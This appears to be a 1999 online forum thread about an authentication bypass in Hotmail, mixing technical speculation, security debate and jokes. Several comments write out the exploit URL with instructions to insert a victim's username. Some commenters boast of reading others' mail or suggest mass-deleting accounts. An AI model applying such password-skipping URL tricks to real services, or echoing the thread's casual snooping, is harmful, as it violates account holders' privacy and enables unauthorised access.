There's a post on the MSNBC's tech board, referring to the Slashdot article. MSNBC's tech staff read the board, and I'm sure they'd forward anything vital to the appropriate people.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
There's a bunch of sites that have the same effect. Like http://www.erikaweb.com/misc/hotmail.htm, for example. Just go to AltaVista and search for "hotmail login -host:*.hotmail.com".
It seems like Hotmail doesn't check for the password when you first open the mailbox when the referring page is not in Hotmail's domain. Big hairy bug indeed.
In Soviet Russia, Jesus asks: "What Would You Do?"
looks like they disabled that cgi.
There are a lot of people who were doing illegal things through Hotmail who are potentially under surveilance through this insecurity. I don't really care about them. (I'm not talking about the person who occasionaly forgets that Microsoft Word or Quake 2 or whatever is a commercial product, but more the people who put up a tonne of stuff and use it to generate money whether through banner ads or subscriptions) I am concerned for the people who wanted anonimity for legitimate reasons. Maybe they were anonymously subscribed to sexual abuse survivor mailing lists or online support groups for the differently gendered.
A lot of people are going to state that these people were stupid for relying on a Microsoft service, but where are they supposed to go? It isn't stupidity so much as a lack of education. This is compounded by the people who are technically capable of doing the educating. Too many of them are too busy looking down at the unwashed masses to communicate the options and hazards involved with the various options.
A few years ago there was a true anonymous mail service based in (I think) Finland. It was something like penet.fi (its been awhile) which did do the job of servicing users anonymously well. The machine which did the work wasn't even physically connected to the internet except by UUCP connections over a phone line several times a day. Latency was large, but it did provide security.
There are probably others (I don't use anonymous email myself, I do use services that allow me a perpetual email address for non-critical stuff, like providing head hunters a consistant address)
but the only thing you really hear about are Hotmail or Lycos etc.
It's not a matter of who owns it; rather, the underlying pattern of lax security that has become a hallmark of Microsoft implementations. This is not the first example; take, for example, Windows' e-mail attachment handling (which allowed the Melissa virus to flourish, over a decade after the Internet Worm should have taught everyone a lesson), ActiveX (which can either be disabled or insecure), and the numerous NT security flaws.
Microsoft have a culture which assumes that networks are controlled and orderly, much like corporate LANs, rather than the chaos of the Internet. This comes up in their assumptions, and their lack of attemption to security. The Microsoft Passport hole is merely the latest example.
I guess this proves that no matter how secure your platform is, the people who write the apps still need to have a clue about security.
It doesn't matter that UN*X or Linux are secure, when the apps that run on them aren't.
Except from removing sprintf/sscanf and friends from the C library, does anyone have any good ideas about what could possibly be done to increase the probability of some daemon being secure ?
Buffer overflows are a frequent coding error, but other exploits also happen (like much of the Java disasters in browsers previously). Also, simple design errors in an authentication sequence can cause the wrong people to get access, even if the code implements the intended algorithms perfectly.
One can write an insecure program in any language using any tools. But how can we seek to increase the probability that developers don't fall into these pits of insecure code writing ?
We still need C, we still need string handling, and since every system has it's own way of authenticating users, it seems there is little to be done at all.
So to be useful, you just have to get all of your corresponents to also use HushMail. Right. Forget about all the existing PGP users. And how can you get a patent for something that is already widely available? Why all you have to do is tack 'Roaming User' onto the end of the description and Poof! The software patent fairy grants your wish. Watch out world, I got a patent so I can sue your ass off if I feel like it!
"The only good windmill is a tilted windmill."
And I had commercially sensitive data in my email (which would be stupid on a non-POP3 server)
I hope you're not inferring that it's a good idea to pass data through a POP3 server. Not sure if you've encountered this one yet, but POP3 (and most of its kindred) send passwords and mail in the clear, the same way hotmail does. Indeed hotmail would be slightly more secure, since the passwords are likely sent in a POST form, which is mime64-encoded and thus very slightly protected against casual over-shoulder interception. Further, POP is a much more common target for interception since its use is so widespread and the format is quite standardized.
"Secure mail," inasmuch as that can be taken as anything but a contradiction in terms, involves stuff like a secure transmission client, encrypted channels all the way from sender to recipient, storage in encrypted form or on a cryptographic filesystem on a trusted, isolated server, and a secure reception client. At present hardly any such systems exist. The ones that do -- well, they don't run POP3.
Now, I was gonna tell you the address, but I guess since the holy Commander Taco sez not, I guess this isn't a full disclosure forum. Though someone will probably tell you anyway.
Anyway, I've been told they they use "Microsoft Passport" and that's whats been cracked. Why didn't they just leave it as it was, since they've already failed to move it to NT? Are they still trying to move it to NT, or do they use it because they have to feel they're using at least some MS s/w?
Well, I guess they're too embarrassed to talk about it...
%japh = (
'name' => 'Niklas Nordebo', 'mail' => 'niklas@nordebo.com',
'work' => 'www.pipe-dd.com', 'phone' => '+46-708-444705'
Consider this ironically timed story on the front page of www.zdnet.com:
Microso ft Makes Reading Easier.
Yes. It seems they do.
I think there is a world market for maybe five personal web logs.
Yeah they just had to increase their hw by ~8000% first(maby?).
LINUX stands for: Linux Inux Nux Ux X
FRA: STFU GTFO
Just pulled ALL my stuff off hotmail (6 accounts) and notified all hotmailers that I know of the crack. Also fired off a nastygramme to Hotmail about their aircraft-carrier-sized hole in security.
I basically mimiced the first guy who responded to this particular post. "Holy crap!"
Chas - The one, the only.
THANK GOD!!!
Chas - The one, the only.
THANK GOD!!!
Chilli
-=- Just a random lambda hacker
Chilli
-=- Just a random lambda hacker
> At least their encryption isn't just XOR-based. :)
;-)
Well, in fact many REAL (&safe) encryption algorithms are run in the xor-with-the-plaintext mode. As long as the bitstream that you XOR with is sufficiently unpredictable, that is perfectly safe.
You're thinking about xor-with-a-fixed-string or somethink like that. That's stupid.
You're bashing on XOR for no good reason. Leave XOR out of it....
Roger.
Perhaps this is obvious, but this is not just a stolen password list. I changed my password on Hotmail, and the crack URL still happily lets me in.
I'd like to jump in and beg people not to start screaming about "Microsoft's sucky security" until we get more information about the exploit that was used, if any is available (I'll be watching BUGTRAQ for this).
Remember, Hotmail uses both Solaris and NT in various capacities.
Nothing worth doing is worth doing today.
Yeah, and have your password transmitted in clear text to your ISP. If you didn't know, this is the biggest drawback of POP3. Use IMAP instead.
It appears that certain operations are geared off of "registered IP addresses". So, if your brother has ever checked email from your machine, you can get to his account.
--Joe--
Program Intellivision!
Folks, in the interest of injecting some FACTS in the discussion, here's my analysis of what the hack does. It merely generates a URL of the following form, where all of the non-italicised text can remain constant:
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVIn other words, the view/edit mailbox functionality appears to not check the password field, plain and simple. It's just plain bad CGI programming, not an OS or webserver issue.
--Joe--
Program Intellivision!
This is one reason why I avoid web mail. I prefer pop3 where the mail only sits on the server for a short time, and is then pulled down to my own system.
Plus your local ISP's pop server is not a high-profile target like Hot mail, making it far less likely to come under attack.
Of all the comments I've ever posted, this is definately one of them
"Where were you when you heard that Hotmail was cracked?"
Michael
"Where were you when you heard that Hotmail had been cracked?"
Michael
HOW much does a hotmail account cost you?
Yeah - logging in has worked fine, the five times I've tried it. The first four times I didn't read anyone's email, because I knew the people; I just picked a username at random and tried to open an email just now...
IE 4.5 isn't allowed on grounds I don't have cookies enabled. Bullshit; I'm using slashdot.
Just tried a sixth - same effect. I can see a listing but not view email. And the same result with Communicator 4.61-Mac.
Hmmmm....
BTW it's a public holiday in the UK, so double plus good to the Register.
OTOH, 'there but for the grace of god'. How many of the sysadmins here are > 95% sure they've covered every hole & patched every exploit on every one of their systems ?
"None are more hopelessly enslaved than those who falsely believe they are free." -- Goethe
OK, so two minutes later (4pm BST, 10am EDT) it's blocked at last -- approx 40 mins from the first /. post. Anyone know what time news leaked before that ?
"None are more hopelessly enslaved than those who falsely believe they are free." -- Goethe
I absolutely agree. I do seem to have made some progress in increasing awareness; and I've decided to leave anyway, for (partly ;) ) unrelated reasons ...
"None are more hopelessly enslaved than those who falsely believe they are free." -- Goethe
In the last year my PHB has heard of Amazon, which is great, because now I'm being *asked* to do interactive / DB backed web stuff -- "like that Amazon thing". I can also defend Perl, *nix etc as credible because "Amazon use it !" & not have him glaze over.
Now with a bit of luck I'll be able to convince him that we really *should* have some sort of basic security policy. What with us having access to info on billion dollar deals, and users running around with Windows 95 laptops, and so forth ... "Remember what happened to Hotmail !" I shall say, "See, even the mighty Microsoft are not immune to security problems ... " In his eyes, if MS. can be cracked, anyone can ...
"None are more hopelessly enslaved than those who falsely believe they are free." -- Goethe
..that it was almost exactly a year ago that this exploit was discovered...
I came upon this a few weeks ago while working on a simple to use menuing option for the administrators at my website. There are about 10 of us covering different aspects and we all take responisibilities answering emails and decided to keep the hotmail account one of us had set up.
I set up the 'click here to check email' on our menu, with all the form filled out as it was on the M$ site and it worked...I then noticed that it didn't require the password, but I thought that was because it had been cached some how. I tried it again from my laptop later that night (after forgetting to fix it) and it worked...hmmm...the next day I tried it again and the login proceedure no longer would let me access it even once I had the password entered in the hidden form...it'd only take me to the front login page.
Maybe this was just a temporary whole...shit I have kept holes wide open in attempts to keep my machines running at times while I'm working on something. To my former boss, there ain't nothing worse than a downed machine...he'd even accept hackers broke the system, but it was running than downing it. Lucky my latest one, cares more about protecting valuable information than someone being inconvienced...
clif
There is some new exploit for wu-ftpd, proftpd, BeroFTPd going around.. I just got news of it from security mailing lists this morning. Basically, if you are using wu-ftp version prior to 2.5.0 you'd better upgrade!! I am not sure what versions of proftpd are vulnerable.. I just disabled the copy running on my home machine.
From a ZDNet Message:
MSN Messenger Service disabled?
Since Microsoft has 'fixed' the security hole earlier this morning, my MSN Messenger service will no longer all me to directly login to my Hotmail Inbox. That's the only reason I even use the shitty service...
Coincidence? I think not.
Any MSN Mess users confirm this?
When trying to view a Hotmail inbox of MSN Messenger you get this:
/cgi-bin/start on this server.
Forbidden You don't have permission to access
It's either something on Hotmail's end or something that will require an update for Messenger and how
it connects to Hotmail.
substrate wrote:
A few years ago there was a true anonymous mail service based in (I think) Finland. It was something like penet.fi (its been awhile)
anon.penet.fi, yes. Read the story of its demise.
Key details not found there (unless you poke around some) are that the court case involved anonymous e-mail sent by a critic of the Church of Scientology, a lawsuit brought by Scientologists in Finland against Julf, and the subpoena served on Julf by reluctant Finnish police. Julf had simply hoped this day would never arrive; when it did, somewhat more quickly than he had expected, he was caught off-guard. Since he realized that he did not have the resources to protect the users of the service, he closed it.
which did do the job of servicing users anonymously well. The machine which did the work wasn't even physically connected to the internet except by UUCP connections over a phone line several times a day. Latency was large, but it did provide security.
Julf did a great job with anon.penet.fi, but let's not oversell it. The anon.penet.fi did nothing more spectacular than remail your text with its headers. There were instances of the service being spoofed, accidentally revealing addresses, and being abused by someone with prior (social) knowledge of the real e-mail address associated with an anon.penet.fi address. And in the end, it all boiled down to Julf: did you trust him? He was honorable, but that wasn't guaranteed.
Nevertheless, many thousands used the service mainly because it was the easiest anonymizer to use. And yes, as many security geeks pointed out endlessly, the ease of use made it more vulnerable than other systems.
lake effect weblog
{Network engineer in Chicago--looking for work!}
The story at CNN Interactive is interesting, because they're taking credit where credit arguably goes to Slashdot. [snip]
Shortly after CNN Interactive posted the story, one of the sites, based in Stockholm, Sweden, was changed to a simple message, "Microsoft rules."
Funny. The story was posted on CNN after it was reported here, and Hotmail went down at around 11:45 AM EDT, following the assault of
You're reading too much into that sentence, Enoch. They were simply editing the article; I read the first version, where they implied that the Swedish site was still up, but when it was blanked, they changed that sentence and almost nothing else. I don't think it was an attempt to take credit.
WHat bugs me about all the mainstream articles I've read so far -- CNN, even News.com -- seem to believe that the crack was only possible with the CGI script. The Hotmail PR line is "advanced programming techniques" -- which news.com swallowed whole hog. Fortunately ZDNet is reporting that "a simple HTML script" (long way to say "URL") could also thread the security needle.
lake effect weblog
{Network engineer in Chicago--looking for work!}
miyax writes:
If they can do this to Hotmail that means, just as easily, they can do this to any web-based e-mail service.
Uh, actually, no. That should read "to any badly-programmed web-mail service". See, they didn't invent some gosh-darn super-duper smart-agent neural-net jacked-into-the-matrix hack; they found out that Hotmail hadn't locked all the doors, that's all.
(Sadly, that's pretty much the case with ANY system cracking.)
lake effect weblog
{Network engineer in Chicago--looking for work!}
Forget the security implications for a moment. Why not start cracking the email accounts for fun? For example, there are a number of Congressmen who use Hotmail accounts. And folks in the media (think: anchors). Heck, even Monica Lewinsky used Hotmail, right? (Try: mlewinsky.) There could be a lot of fun had here before Hotmail fills the hole. (Which I'm surprised they haven't done yet.)
No, Microsoft didn't start Hotmail. However, Microsoft did start the Passport integration. In the course of doing this, they modified CGI scripts and failed to think through the security implications of what they were doing. Which is par for the course for MS. End result: because of a stupid error by MS, large numbers of people had e-mail compromised. In any competent setup, this error should be caught before going into production. In most Unix shops, it would get caught. Around MS, failure to catch things like this is endemic, which is why I don't trust their products from a security standpoint. I'm just happy I don't need Hotmail to get Web-based e-mail.
This is just way too funny.
See for yourself.
I hope nobody else thought I was accusing FreeBSD of being insecure! It just sounded like Bendawg thought Hotmail was running on top of Windows. Er, maybe not. Whatever. Bottom line is, MS can make anything insecure.
Secure web-based mailer?
:)
Easy.
Put MindTerm (java-based SSH) on a web page on your server, log in, and use pine 8-)
This sounds reasonably secure to me.
Well, I saw it coming. I was never a friend of web based freemailers, anyway, especially not hotmail. However, it would be interesting to know more details on this hack. Is it just a hotmail problem? What about other freemailers such as yahoo? is there some official statement by hotmail? Inquiring minds would like to know.
Well I tried the URL and it didn't work. But I'm not surprised I'm getting to this rather late. What makes me laugh though is that in the past months they have been screwing with Hotmail so much supposedly making it more secure.
Who ever thought up that woderful scheme of routing through a secure server should be drug out in to the street and shot. Now I can't check my hotmail with lynx.
----
"War doesn't determine who's right, just who's left"
"War doesn't determine who's right, just who's left"
Steven Wright
First of all, Hotmail is not run on NT, and does not use ASP. It is run on FreeBSD/apache (see netcraft for details). They tried to migrated it to NT when they bought it, but NT couldn't handle it, so they switched back.
Second of all...well, there is no second of all, but I wanted to make sure everyone realized this is NOT an NT problem.
Juiced? Or Not?
I just went into my g/f's account with no problem - it looks like the hole is still open!- --------------
------------------------------------------
"We are but packets in the internet of life."
"I disapprove of what you say, but I will defend to the death your right to say it."
- Evelyn Beatrice Hall
Whoah. This is now the lead story over at CNN Interactive... (HTTP://www.cnn.com)
Never ask a geek why, just nod your head and slowly back away. -Rob Malda
So how long will it take ms to go hunt down the guy who owns the domain? Wonder if his server got cracked and it was posted there?
"Fighting the underpants gnomes since 1998!" "Bruce Schneier knows the state of schroedinger's cat"
yeah i remember that story. anon.penet.fi was shut down by the finish government i think. That was a sad day. Alot of the people on thier were survivors of sexual abuse and what not.
"Fighting the underpants gnomes since 1998!" "Bruce Schneier knows the state of schroedinger's cat"
I wonder if the information about the compromised accounts will ever be mentioned on the HotMail pages...
In the meantime, does anyone have more details about this? Specifically, I would like to know if the crackers stole a list of passwords or if they found a way to enter the site without using a password. In the former case, you would only have to change your password to be safe. In the latter case, you could hope that the HotMail staff would patch the hole quickly.
-Raphaël
"Once we were notified we began investigating," the spokesperson said. "We found it was possible
for a malicious hacker to gain access to the Hotmail servers through specific knowledge of advanced Web development languages. We turned off the servers in the interest of security and user privacy."
http://www.news.com/News/Item/0,4,41 069,00.html
Hrm.. "advanced Web development languages".. URLs that map to backdoors.. uh.. OK. Hey.. I know HTML.. does that mean I'm super advanced? Maybe I can apply to Mickeysoft and get a nice job... fixing those highly advanced URL type of problems.
Sheesh.. they can't even come up with good spin. C'mon, I'm thinking alien attacks, Bill gone mad, Linux/BSD users invade Redmond and take over the place... ANYTHING but this sort of crap.
--
Neurowiz
I use two MSN sites that use Microsoft Passport, Hotmail and MSN Investor. They refuse to cooperate with Passport! Investor has a feature to store your portfolio on a centalized server so you can view it from any web browser (after authentication), but that portfolio never responds or it scrambles my portfolio data. When I then jump to Hotmail, it forgets my password (which I asked it to remember on my home computer). Damn this software is stinky..
cpeterso
Wired is reporting that the same thing happened 6 months ago, and it was fixed without getting any media attention. The cr/hacker group that reported this one was supposedly publicizing it because MS only fixes things right when it lands on the front page news, and they wanted to call attention to that problem.
Wired also reports speculation that it was a deliberate backdoor that was supposed to be secured by obscurity.
Who knows? But if I had a hotmail account I'd assume that people had been reading my mail (and doing Bog knows what else) for months.
Sheesh, evil *and* a jerk. -- Jade
Dear Valued Customer,
You may be aware from published reports that today MSN Hotmail experienced service issues that have generated questions about security.
Microsoft was notified early Monday morning (August 30, 1999) of a potential security vulnerability that could enable unauthorized access to Hotmail servers.
Typical underplaying. Plus, it's confusing - it states the problem occured "today"..well, I'm reading it on Tuesday. The typical non-techie reader of that might read that and think "huh?" and continue on, business as usual. He/she might think twice about using Hotmail if their public announcement stated,
"For some time, Hotmail accounts were open to anyone possessing knowledge of a hack that was widely distributed on the Internet. People with this knowledge, which was fairly simple, could read your email, delete it, and/or send email impersonating you. We don't know if any of this happened to you, but on Monday, after this exploit was featured on several news sites, we kept Hotmail up for hours while probably millions of people roamed through the Hotmail service, gaining unauthorized access to countless accounts. Cross your fingers. Thank you, and we hope you continue to enjoy our superior service."
Potential security vulnerability indeed.
The obvious first thing to do would be to suck a couple million blocks from the leaders on distributed.net... look for people using hotmail addresses, send them their password, read it, then assign their keys to another address. Now, this could certainly help Slashdot catch up with Guy Kawasaki and his playmates, but it might be a better way to get one's own participation in jeapordy.
-Chris
And I suppose you've never locked your keys in your car before?
--
Do I look like I speak for my employer?
If you have ever locked your keys in your car, or left the headlights on while you went shopping, or nuked something in the microwave and then forgot about it, this could happen to you. I don't mean to downplay the severity of this, it's a serious bug with significantly negative consequences, but the only prerequisite to making this sort of bug is to suffer from a temporary case of sheer absent-mindedness.
Perhaps a better analogy, come to think of it, is the flawed mirror of the Hubble telescope. As I remember, that was also caused by a very simple but (as it turned out) very costly blunder.
--
Do I look like I speak for my employer?
There may have been a lot of survivors who used it, but I was also once sent flame-mail via the service. Of course I suggested that someone who dared insult me should do it to my face, which amazingly stopped that dead in its tracks.
It's still working... I can't believe something like this is possible - and it's not even /.'ed :)
Why don't MS just block requests from the referring host in question? How hard can it be?
"Oppression and harassment is a small price to pay to live in the land of the free." -- Montgomery Burns.
Is this really true? Can somebody provide a news link for any stories? I don't think posting a link to the h4x0r www entry page is a good idea, though.
Could be just my connection, but I could not hit any of the hotmail servers.
About time they got around to fixing it.
I informed my users of the backdoor this morning, and told them to delete all private mail from their hotmail accounts.
One of the users just told me that when trying to log in from the www.hotmail.com page, they're getting "connection refused". I just checked, and it's still possible to get in via the backdoor.
It would appear that now, not only is the backdoor still open, but it's going to be impossible for legitimate users to clean out their mailboxes.
MS should just shut the site down until they can get this sorted.
.@.
kinda brings a tear to your eye doesnt it.
What's needed is a good, free, SECURE web-based freemail. There have been a number of such attempts, such as HushMail, etc. - but all are pretty lacking. A good overview of "secure" web-based mailers can be found at Counterpa ne.
It's time for people to start rejecting inherently insecure solutions.
I've gone to the site and viewed two different hotmail accounts (mine and my brother's). My brother has _never_ used this machine to read his Hotmail (it's at work and he's never even been in the building!), so it's not based on cookies etc.
Changing your password doesn't protect you either.
I've tried it.
:o(
could someone write a perl script to break in there and start deleting accounts? i bet that the script could get rid of 2 or 3 million accounts before anyone caught on...
KMFDM Sucks
Microsoft with egg all over its collective face again. Heh heh heh. I thought, though, that hotmail was running on a *BSD box? I had heard that WinNT couldn't handle the load of hotmail, so they had to use *BSD (Don't know which varient). Can anyone clarify this? If it was NT, all the better.....
---------The early bird gets the worm, but the second mouse gets the cheese.
Hmm..
hotmail's cgi-scripts seem to be taken down.. hope they manage to fix the bug soon.
Greetings,
Ivo
The crack stopped working a few minutes ago. Unless hotmail is /.'ed
Then they immediately issued a press release saying that the security hole in hotmail had been fixed....
Actully, maybe they had the lines hardwired, so they had to use wirecutters.......
They're just gonna kick there butt right out of the plane and then toss them a parachute.
Somebody has to catch fire for this. My guess some middle-management blokes. There are no decent coders around to fire or else this probably wouldn't have hapenned.
The idea is pretty obvious if you ask me. I thought about doing it years ago, but IT'S ILLEGAL in the USA. They are located in Austin Texas, so my guess is that it won't be long before uncle sam shuts them down.
-- Virtual Windows Project
I did check out your web site, and I did not see any indication of this. Your domain record list an Austin Texas address and your FAQ makes no mention of legalities. I would think this is a fact you would want to make well know. I even wrote one of the email addresses on your web site about this particular question and recieved no reply.
Even with the precautions you have taken, I see you running into trouble with the law if you become popular. Make sure you put some money aside for the lawyers.
-- Virtual Windows Project
Someone please go to cnn.com and explain to those who put up the message board HOW DO YOU DEFINE A HACKER? what a hacker is. I don't have the strength anymore... Sigh! Hacker != cracker, how difficult can this possibly be?
no kidding...
lets face it - security holes pop up on all platforms, *nix, windows, whatever. the key is how a company responds to the holes and m$ doesn't seem to have learned that lesson. they figure they can keep everyone in the dark for as long as possible.
the same thing happened with the big iis hack a couple of months ago
---- There is a fine line between sayings that make sense.
It took Hotmail a good long time to respond to this crack, which has been up since Sunday morning proximo. During that time, much email has been illicitly read, some illicitly sent, a few DejaNews identities probably pirated.
If the users of Hotmail wanted to try their hand at a class-action suit, they might be able to pull it off. Yes, Hotmail is free, but they generate income based upon the number of users; therefore, their userbase is responsible for their income. They can't ask for their money back, but they can probably collect damages.
Something for an enterprising attorney to investigate!
--
Some keywords for the NSA in the Lord of the Rings universe: One Ring bind find Sauron quest Nazgul freedom
If they can do this to Hotmail that means, just as easily, they can do this to any web-based e-mail service. While I think this is funny, that's only because I don't use Hotmail! But I do use web-based e-mail (not telling which one so you don't get any ideas : ) and this scares the shit out of me...
miyax
I heard somewhere that the Microsoft passport system is what caused the security leak. Here's some PR at the passport site
"Gone are the days when you had to remember a member name and password for every site you visited. With your free Microsoft® Passport, you select just one member name and password to use on a fast-growing number of major sites!"
Currently their working with a slight variation of the above plan but it's still ingenious, by getting rid of passwords all together it is darn easy for you to log on.
It's turtles all the way down.
Looks like MS HotMail closed the front door but left the back door open. If this is the case, its a greater disservice to users that the lame security was in the first place. Now legitimate users will have to use the hack to protect themselves.
better names than you picked: better_sprintf(), better_sscanf() and better_gets()
0x or or snor perron?!
According to c|net's story, the original exploit web page claims to have been was written in June 1998!!!
There's also a great spin quote from Microsoft:
"Once we were notified we began investigating," the spokesperson said. "We found it was possible for a malicious hacker to gain access to the Hotmail servers through specific knowledge of advanced Web development languages. We turned off the servers in the interest of security and user privacy.
I just went to the mirror page listed above and put in an account I use when posting on Usenet and got the usual whole page of spam messages. Then I went back in through the portal nad got the same spam messages.
Pretty clever fake, that is.
Now let us watch the spinmeisters at the MSFT marketing department blame it on Apache/Unix. I can already hear them now, "Well, hotmail was implemented on Unix, using Apache, and if it would have been on an NT box with IIS, this would have NEVER happened! It's the fault of those open source programmers who don't know how to write secure code!"
'10061 connection refused'
"Oh fsck! What do we do ???"
"Pull the plug!!!"
"You want me to--"
"NOW!!!"
YANK!
---
Wow! It just blew right to the front page!!!
---
Hotmail doesn't disconnect their service like eh.... right now seems a good time! I mean... this seems like the sensible thing to do now...
I have move my primary accound a year ago, but I still have 10~ mailing list accound on it. (it was the fastest at the time.) At least you got to change the password to something else no-resamble your other password.
CY
You can't "FUD" your own product. Boy is this word over abused or what. Even Microsofie AC astroturfer and Dvorak start fashioning the word. :)
CY
At first there were only the webpages with the script to let you in. Then people mentioned that all you have to do is type in the URL with a bogus password field (note the: "bounced directly into a user's mailbox"). It's all the same hole. And it's fixed now.
:)
It shows that CNN is reading Slashdot, though
(and not understanding all of it).
...without actually looking at a real person's mail, just use one of those addresses you get spam from. pplegal for example - it's full of bounced spam, of course.
If I had a Hotmail account (which I don't)
And I had commercially sensitive data in my email (which would be stupid on a non-POP3 server)
And I was able to prove financial loss through this breach (which will almost certainly be the case for someone)
Who do I sue?
There is a place in this world for lawyers. But then there's a place for fungus too.
from the ABCnews.com article
A Microsoft spokesperson today confirmed the hole and said the company has fixed it. "Once we were notified we began investigating," the spokesperson said. "We found it was possible for a malicious hacker to gain access to the Hotmail servers through specific knowledge of advanced Web development languages. We turned off the servers in the interest of security and user privacy.
just to be sure, I checked an account (mine, which I rarely use because I never really trusted M$ to be able to do this sort of thing competently) and lo and behold, "Error 403: Forbidden" (they turned off the permissions for /cgi-bin/start. I'm no expert, but I'm guessing this is only a quick fix.)
but I just love the quote. since when does changing the cgi queries in a URL involve "specific knowledge of advanced Web development technologies"? good ole' Microsoft. at least this time, they actually admitted the problem even existed within a reasonable amount of time.
whatever, just had to get that off my mind. :)
--- this comment is presented in WIDE SCREEN STEREO!!!
This was the headline of a tabloid here in Sweden this morning. Though at the time I assumed it was just more Internet FUD. Could it be that we are finally seeing public awareness to network security??? Hopefully we can smudge Microsoft over this story in in the popular press.
/. is like a steer's horns, a point here, a point there and a lot of bull in between.
-
I wish to God that CmdrTaco did not post this. /. and in turn everyone knows
I have been having fun reading my friends mail
and what not (hehe.. not really) for a while.
Then it is on
about it. So of course they close it up.
Too bad we could not have kept this one silent.
(this comment will probably seem redundant, but) it looks like Microsoft has finally taken care of the problem, albeit temporarily. Hotmail's main address is down and the server was obviously instructed not to let anyone in.
it really was fun while it lasted. i tried names at random (bob, billgates, jane). i thought about checking my friends account, but that just seemed downright wrong.
I'm no lawyer, but is typing in an URL illegal ? I'm probably wrong, but cracking passwords and the like *is* illegal, this is just typing an URL... maybe I'm far too optimistic.
Well, the following URL *nearly* works... just complains a bit about cookies...
b ox=ACTIVE&js=no&login=USERNAME&passwd=aaa
So, we now know MS's security policy... if in doubt, change the filename...
http://wya-pop.hotmail.com/cgi-bin/HoTMaiL?curm
here's the sad part:I VE&js=no&login=USERNAME&passwd=eh
http://207.82.250.251/cgi-bin/start?curmbox=ACT
what do you do? replace USERNAME with the username of the hotmail user wanted.... now THAT is some killer security... that is such a giant hole it is not even funny.
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=USERNAME&passwd=eh
replace username with the name of the account you would like to see. For some reason some accounts do not work as well as others, they will complain about cookies or an intrusion... 90% work great though.
Sad sad sad
Works fine for me. :) This is great...but evil at the same time.
--
My girlfreind gets upset when I check out other chicks.
Don't lead me into temptation... I can find it myself.
Where does your sig come from ? Have been looking for the words to that ?drinking? song since I first heard it a while ago... What band? title? other words?
:-)
To add insult to injury, looks like a Microsnot lover got at the site!
However, the analysis provided by many people on here is correct. Using the URL:
http://207.82.250.251/cgi-bin/start?curmbox=ACTIVE &js=no&login=UserID&passwd=eh
still works, and I'm curious to see how long it will take M$ to patch the hole up. Given M$'s security history, they seem to think a security hole is patched if no one knows about it.
Anyone wants to start a pool to determine how long it will be before it's fixed?
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
At any rate, I'm not sure it's illegal to type in a URL? Like someone pointed out, what if you're just testing the integrity of your own mailbox? I only checked friends' accounts, after getting their permission.
Sides, I'd like to see Microsoft sue the whole of the Slashdot readership!
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
Well, shesh, my apologies to the XOR fans out there... :-)
I was indeed thinking of those companies that call XOR'ing the plaintext with a fixed string "secure encryption".
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
For instance:
Funny. The story was posted on CNN after it was reported here, and Hotmail went down at around 11:45 AM EDT, following the assault of /.ers. Besides, they don't mention the URL; how the hell could the CNN readers find it? It was posted here on /., though.
Funny, seems we helped Microsoft this morning by forcing them to realise they were in trouble, and now CNN is taking the responsibility!
I think Rob and Hemos should sue!!!
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
Oh. Yeah, that makes sense. I still think whoever stumbled upon this at CNN was reading it right off Slashdot.
WHat bugs me about all the mainstream articles I've read so far -- CNN, even News.com -- seem to believe that the crack was only possible with the CGI script. The Hotmail PR line is "advanced programming techniques" -- which news.com swallowed whole hog.
I know, and I agree; it's irritating. The crux of the matter is, the bug was there in plain sight, but it didn't come to attention before. It's easy to go through a normal Webmail usage routine, and try to see if any URL can be validated without password.
The backdoor, as it is, wouldn't be such a big deal if it were an advance programming technique. It's the simplicity of it that's a little boggling, and it may be easier to criticise than to actually do it, but this sort of things would be foremost on my mind when developping a Web-based mail service. It's basic stuff: you want no URL to be valid when it deals with private information if there is no password validation taking place.
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
This reminds me of Bruce Schneier's saying: There are two kinds of security: the one that will keep your sister out, and the one that will keep the Government out. Guess which Hotmail is. And nowadays, I've known 14 year-old female hackers, so Hotmail is probably not even secure against your little sister. :)
On a side-note, secure Web-based, free Email does exist. I urge everyone to visit HushMail for Email with a real security. At least their encryption isn't just XOR-based. :)
"There is no surer way to ruin a good discussion than to contaminate it with the facts."
Oh yes, simply because Microsoft owns Hotmail, that is the only reason for the security hole. I'm sure there's NEVER been a Linux server with security problems (yeah, right)
I think there is a bigger issue we must consider here - namely, is there a system hackers can't crack if they turn against it - the only reason Linux sites have not been attacked so far is because alot of the hackers are on the side of the "good" forces - namely unix in general and want to see dark side to die.
But we may start seeing alot of unix based sites being cracked when these people turn their attention to them.
This whole mess has nothing to do with Microsoft - its hotmail running on BSD unix !!! Just another company with 40 million users .....
I wonder how much money Microsoft has spent in the last couple of months on damage control? Covering up the Linux PPC/windoze 2000 fiasco, keeping Redhat's stunning debut from being a top story, and now this Hotmail thing... If we hear anything about it at all, I can see the news clip now,"Hotmail.com was ruthlessly hacked today by renegade Linux users (believed to be associated with the renegade web site slashdot.org). Only lighting quick responses my Microsoft (and particularly Bill Gates himself) prevented a major security brech for millions of users."
please, this is starting to annoy me.
-theres only one everything
01101100 01101001 01101110 01110101 01111000 01110010 01110101 01101100 01100101 01110011
This is serious.. I have no idea why they haven't pull the fucking plug on the box. I'd glad that I never had any cc's on there.
This thing actually works..
...
Bitchslapped? Give Rob a bitchslap from bitchslapped.com.
This passport problem could run a lot deeper than just email. MS's new version of moneycentral.msn.com requires that you have a passport account. This service allows you to track your stocks via a nice GUI. It also has the ability to store this information on MS's servers so that you can access the information from any computer. I don't do it that way.. but I am sure that many people do. Oh and anybody remember MS wallet? I beleive that the next version is supposed to use this wonderful device called MS Passport.
POP3 is a little safer simply because normally the user downloads mail and it's deleted from the server. Attacking the server can only compromise mails still undownloaded.
Webmail, you can often see the entire history of mails received by the all the accounts on the web server. That makes an exploit more damaging.
Neither is a secure channel, for sure.
Jim
So I decide to check my dear colleague's hotmail account through the cracked link and bingo - plenty plenty plenty confidential info forwarded from his work address as he is on vacation.
:->
Fsck, this is serious.
I see the cgi prog is no longer at the 2038 URL
trolling the first world...
Logging in now is a BAD idea.
Microsoft is obviously aware of the problem, and their lawyers will hunt you to the end of the earth.. nobody can get into Hotmail except for those who hack in. This is an *easy* way to keep track of IP's that break in.
It's too late for me but maybe not for you..
